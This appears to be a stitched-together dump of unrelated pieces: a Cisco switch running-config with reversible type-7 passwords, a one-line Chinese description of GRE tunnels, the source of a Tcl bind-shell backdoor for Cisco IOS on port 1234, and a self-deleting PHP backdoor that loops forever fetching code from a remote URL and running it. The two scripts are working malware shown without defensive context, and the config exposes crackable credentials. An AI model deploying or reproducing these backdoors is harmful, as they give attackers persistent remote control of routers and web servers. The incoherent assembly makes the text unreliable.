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DZSW-3560-A#en
en
DZSW-3560-A#show running-config
show running-config
Building configuration...
Current configuration : 3678 bytes
!
version 12.2
no service pad
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname DZSW-3560-A
!
enable password 7 121A0C041104
!
username admin privilege 15 password 7 1543595F507F7D
no aaa new-model
system mtu routing 1500
vtp mode transparent
ip subnet-zero
ip routing
!
!
!
!
 --More--
!
!
no file verify auto
spanning-tree mode pvst
spanning-tree extend system-id
!
vlan internal allocation policy ascending
!
vlan 218
 name Call_Center
!
vlan 220
!
vlan 222
 name WEB
!
vlan 223
 name DB
!
!
interface Port-channel1
 switchport trunk encapsulation dot1q
 switchport mode trunk
!
interface Port-channel2
 description Connect_To_YDBFZX-C3750_Po1
 no switchport
 ip address 10.68.3.2 255.255.255.252
!
interface GigabitEthernet0/1
 switchport access vlan 218
 switchport mode access
!
interface GigabitEthernet0/2
 switchport access vlan 222
 switchport mode access
!
interface GigabitEthernet0/3
 switchport access vlan 222
 switchport mode access
!
interface GigabitEthernet0/4
 switchport access vlan 222
 switchport mode access
!
interface GigabitEthernet0/5
 switchport access vlan 222
 switchport mode access
!
interface GigabitEthernet0/6
 switchport access vlan 222
 switchport mode access
!
interface GigabitEthernet0/7
 switchport access vlan 222
 switchport mode access
!
interface GigabitEthernet0/8
 switchport access vlan 222
 switchport mode access
!
interface GigabitEthernet0/9
 switchport access vlan 222
 switchport mode access
!
interface GigabitEthernet0/10
 switchport access vlan 222
 switchport mode access
!

GRE 是一种最传统的隧道协议，其根本功能就是要实现隧道功能，通过隧道连接的两个远程网络就如同直连，GRE在两个远程网络之间模拟出直连链路，从而使网络间 达到直连的效果

# TclShell.tcl v0.1 by Andy Davis, IRM 2007
#
# IRM accepts no responsibility for the misuse of this code
# It is provided for demonstration purposes only
proc callback {sock addr port} {  
fconfigure $sock -translation lf -buffering line  
puts $sock " "  
puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-"  
puts $sock "TclShell v0.1 by Andy Davis, IRM 2007"  
puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-"  
puts $sock " "  
set response [exec "sh ver | inc IOS"]  
puts $sock $response  
set response [exec "sh priv"]  
puts $sock $response  
puts $sock " "  
puts $sock "Enter IOS command:"  
fileevent $sock readable [list echo $sock]  
}  
proc echo {sock} {  
global var  
if {[eof $sock] || [catch {gets $sock line}]} {  
} else {  
set response [exec "$line"]  
puts $sock $response  
}  
}  
set port 1234  
set sh [socket -server callback $port]  
vwait var  
close $sh

<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = 'http://xxx/xxx.txt';
while($code = file_get_contents($remote_file)){
  @eval($code);
  sleep(5);
};
?>